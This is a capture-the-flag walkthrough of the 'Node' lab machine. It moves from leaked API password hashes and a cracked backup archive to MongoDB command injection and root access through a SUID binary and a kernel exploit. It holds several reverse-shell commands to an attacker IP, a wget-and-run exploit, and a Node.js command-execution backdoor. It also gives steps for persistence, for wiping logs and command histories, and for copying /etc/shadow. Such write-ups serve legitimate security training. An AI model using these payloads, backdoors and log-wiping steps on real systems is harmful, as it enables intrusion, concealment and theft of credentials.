Machine Synopsis
Key Exploitation Techniques:
- Node.js API endpoint enumeration for information disclosure
- SHA256 hash cracking for credential recovery
- Zip file password cracking and archive analysis
- MongoDB credential extraction and database access
- SUID binary exploitation through command injection
- Linux kernel privilege escalation (alternative method)
Reconnaissance & Enumeration
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| $ nmap -p- --min-rate 10000 10.10.10.58
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
$ nmap -p 22,3000 -sC -sV 10.10.10.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
|
Web Application Analysis
The application on port 3000 hosts “MyPlace” - a Node.js social media application with login and registration functionality.
1
2
3
| # Directory enumeration (fails due to wildcard responses)
$ feroxbuster -u http://10.10.10.58:3000
# Returns 200 for all paths due to client-side routing
|
JavaScript Analysis
Browser developer tools reveal multiple JavaScript files defining API endpoints:
API Endpoint Discovery
app.js:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // Route definitions
when('/', {
templateUrl: '/partials/home.html',
controller: 'HomeCtrl'
}).
when('/profiles/:username', {
templateUrl: '/partials/profile.html',
controller: 'ProfileCtrl'
}).
when('/login', {
templateUrl: '/partials/login.html',
controller: 'LoginCtrl'
}).
when('/admin', {
templateUrl: '/partials/admin.html',
controller: 'AdminCtrl'
})
|
home.js:
1
2
3
| $http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
|
admin.js:
1
2
3
4
5
6
7
8
9
10
11
12
13
| $scope.backup = function () {
$window.open('/api/admin/backup', '_self');
}
$http.get('/api/session')
.then(function (res) {
if (res.data.authenticated) {
$scope.user = res.data.user;
}
else {
$location.path('/login');
}
});
|
profile.js:
1
2
3
4
| $http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
});
|
Exploitation
API Endpoint Enumeration
User Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| # Enumerate users via API
$ curl -s http://10.10.10.58:3000/api/users/latest | jq
[
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
# Check for additional users at base endpoint
$ curl -s http://10.10.10.58:3000/api/users/ | jq
[
{
"_id": "59a7365b98aa325cc03ee51c",
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin": true
},
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
|
Key Discovery: Admin user myP14ceAdm1nAcc0uNT
with SHA256 password hash.
Hash Cracking
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Extract all password hashes
$ curl -s http://10.10.10.58:3000/api/users/ | jq -r '.[].password'
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0
# Crack using CrackStation or hashcat
# Results:
# dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -> manchester
# f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 -> spongebob
# de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 -> snowflake
# 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 -> (not cracked)
|
Credentials Discovered:
myP14ceAdm1nAcc0uNT:manchester
(admin)tom:spongebob
mark:snowflake
Admin Panel Access
Login to the admin panel with myP14ceAdm1nAcc0uNT:manchester
reveals a backup download functionality.
Backup File Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Download backup file
$ curl -b "connect.sid=..." http://10.10.10.58:3000/api/admin/backup -o myplace.backup
# Analyze file type
$ file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators
# Decode Base64 content
$ cat myplace.backup | base64 -d > decoded
$ file decoded
decoded: Zip archive data, at least v1.0 to extract
# Attempt extraction (password protected)
$ unzip decoded.zip
Archive: decoded.zip
creating: var/www/myplace/
[decoded.zip] var/www/myplace/package-lock.json password:
|
Zip Password Cracking
1
2
3
4
5
6
7
8
9
10
| # Extract zip hash for cracking
$ zip2john decoded.zip > hash.txt
# Crack password with john
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=PKZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword (decoded.zip)
|
Source Code Analysis
1
2
3
4
5
6
7
8
9
10
| # Extract with discovered password
$ unzip -P magicword decoded.zip
# Analyze application source
$ find var/www/myplace -name "*.js" | head -5
var/www/myplace/app.js
$ grep -i "mongodb\|password\|credential" var/www/myplace/app.js
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
|
Critical Discovery: MongoDB credentials mark:5AYRft73VtFpc84k
SSH Access
1
2
3
4
5
6
7
| $ ssh mark@10.10.10.58
mark@10.10.10.58's password: 5AYRft73VtFpc84k
mark@node:~$ whoami
mark
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
|
Privilege Escalation
Process Analysis
1
2
| mark@node:~$ ps aux | grep node
tom 1218 0.0 5.4 1008056 40992 ? Ssl 03:13 0:01 /usr/bin/node /var/scheduler/app.js
|
Key Finding: Node.js scheduler running as user tom
MongoDB Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| # Access MongoDB with discovered credentials
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks
> db.tasks.find()
# No current tasks
# Analyze scheduler source code
mark@node:~$ cat /var/scheduler/app.js
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('[!] Failed to get tasks collection');
}
});
}, 30000);
});
|
Vulnerability: Scheduler executes doc.cmd
from MongoDB tasks collection every 30 seconds.
MongoDB Command Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Setup netcat listener
$ nc -nlvp 9999
# Insert malicious task in MongoDB
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
> db.tasks.insert({"cmd":"bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("6292dff2ead14f78ff847f09"), "cmd" : "bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'" }
# Reverse shell received as tom
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 35994
bash: cannot set terminal process group (1218): Inappropriate ioctl for device
bash: no job control in this shell
tom@node:/$ whoami
tom
tom@node:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tom@node:/$ cat /home/tom/user.txt
e1156acc3574e04b06908ecf76be91b1
|
SUID Binary Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| tom@node:/$ find / -type f -user root -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/newgidmap
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/bin/fusermount
|
Key Finding: Custom SUID binary /usr/local/bin/backup
SUID Binary Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Transfer binary for analysis
tom@node:/usr/local/bin$ nc 10.10.14.6 1234 < /usr/local/bin/backup
# On attacker machine
$ nc -nlvp 1234 > backup
$ chmod +x backup
# Analyze with strings
$ strings backup | head -20
...
zip -r
...
# Analyze with ltrace
$ ltrace ./backup 1 2 3
strcmp("1", "-q") = 1
...
fopen("/etc/myplace/keys", "r") = 0
...
|
Analysis Results:
- Binary expects 3 arguments
- First argument must be “-q”
- Reads keys from
/etc/myplace/keys
- Creates password-protected zip archives
Binary Exploitation Methods
Method 1: Wildcard Exploitation
1
2
3
4
5
6
7
8
9
10
11
| # Use wildcard to access root directory
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > root_zip_b64
# Decode and extract
tom@node:/tmp$ cat root_zip_b64 | base64 --decode > root_zip
tom@node:/tmp$ unzip -P magicword root_zip
Archive: root_zip
extracting: root/root.txt
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
|
Method 2: Home Directory Method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Set HOME environment variable to /root
tom@node:/tmp$ export HOME=/root
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~" > root_home_zip_b64
# Decode and extract full root directory
tom@node:/tmp$ cat root_home_zip_b64 | base64 --decode > root_home_zip
tom@node:/tmp$ unzip -P magicword root_home_zip
Archive: root_home_zip
creating: root/
inflating: root/.profile
inflating: root/.bash_history
creating: root/.cache/
extracting: root/.cache/motd.legal-displayed
extracting: root/root.txt
inflating: root/.bashrc
inflating: root/.viminfo
creating: root/.nano/
extracting: root/.nano/search_history
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
|
Method 3: Command Injection
1
2
3
4
5
6
7
8
9
| # Exploit newline injection in zip command
tom@node:/tmp$ newline=\n'
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "test${newline}/bin/bash${newline}test"
zip warning: name not matched: test
zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_1492681799 . -i test)
whoami
root
cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0
|
Alternative: Linux Kernel Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Check kernel version
tom@node:/tmp$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# Download and compile kernel exploit (CVE-2017-1000253)
$ searchsploit Ubuntu 16.04 Privilege Escalation
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
# Transfer and execute
tom@node:/tmp$ wget 10.10.14.3/45010.c
tom@node:/tmp$ gcc 45010.c -o 45010
tom@node:/tmp$ ./45010
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
...
[*] credentials patched, launching shell...
# whoami
root
|
Post-Exploitation Techniques
Persistence Methods
SSH Key Persistence
1
2
3
4
5
6
7
| # Generate SSH key pair
$ ssh-keygen -t rsa -b 4096 -f node_persistence
# Install as root (using any root method)
# mkdir -p /root/.ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# chmod 600 /root/.ssh/authorized_keys
|
MongoDB Backdoor
1
2
3
| # Create persistent task that doesn't get deleted
# Add task with longer execution time
> db.tasks.insert({"cmd":"(sleep 3600; bash -i >& /dev/tcp/10.10.14.6/4444 0>&1) &"})
|
Node.js Application Backdoor
1
2
3
4
5
6
7
8
9
10
11
12
| # Modify application source for backdoor
# cat >> /var/www/myplace/app.js << 'EOF'
app.get('/api/backdoor', function(req, res) {
if (req.query.cmd) {
require('child_process').exec(req.query.cmd, function(error, stdout, stderr) {
res.send(stdout);
});
}
});
EOF
# Access via: http://10.10.10.58:3000/api/backdoor?cmd=id
|
Defense Evasion
Log Sanitization
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Clear Node.js application logs
# > /var/log/nodejs/*.log
# > /var/www/myplace/logs/*.log
# Clear MongoDB logs
# > /var/log/mongodb/mongod.log
# Clear system logs
# > /var/log/auth.log
# > /var/log/syslog
# Clear command histories
# > /root/.bash_history
# > /home/tom/.bash_history
# > /home/mark/.bash_history
|
Database Cleanup
1
2
3
4
| # Remove exploitation evidence from MongoDB
> db.tasks.deleteMany({})
> db.tasks.find()
# Should return empty
|
Lateral Movement Preparation
Database Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
| # Enumerate all MongoDB databases
> show dbs
admin 0.000GB
local 0.000GB
myplace 0.000GB
scheduler 0.000GB
# Extract user data from myplace database
> use myplace
> show collections
users
> db.users.find()
|
Credential Harvesting
1
2
3
4
5
6
7
8
9
| # Extract backup keys and credentials
# cat /etc/myplace/keys
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
# Search for additional configuration files
# find /var/www -name "*.json" -exec grep -l "password\|key" {} \;
# Extract shadow file
# cp /etc/shadow /tmp/shadow.backup
|
Network Service Discovery
1
2
3
4
5
6
7
| # Check for additional Node.js applications
# ps aux | grep node
# ss -tlnp | grep node
# Check for database connections
# ss -tlnp | grep 27017
# ss -tlnp | grep 3306
|
Alternative Exploitation Methods
Direct API Exploitation
1
2
3
4
5
6
| # Test for additional API endpoints
$ ffuf -u http://10.10.10.58:3000/api/FUZZ -w /usr/share/wordlists/common.txt -mc 200
# Test for parameter pollution
$ curl -X POST http://10.10.10.58:3000/api/session/authenticate \
-d "username=admin&password=admin&is_admin=true"
|
MongoDB Injection Testing
1
2
3
4
| # Test for NoSQL injection in login
$ curl -X POST http://10.10.10.58:3000/api/session/authenticate \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'
|
Source Code Analysis
1
2
3
4
5
6
7
8
| # Search for hardcoded credentials
$ grep -r "password\|secret\|key" var/www/myplace/ | grep -v node_modules
# Look for additional API endpoints
$ grep -r "app\.\(get\|post\|put\|delete\)" var/www/myplace/
# Check for vulnerable dependencies
$ cat var/www/myplace/package.json | jq .dependencies
|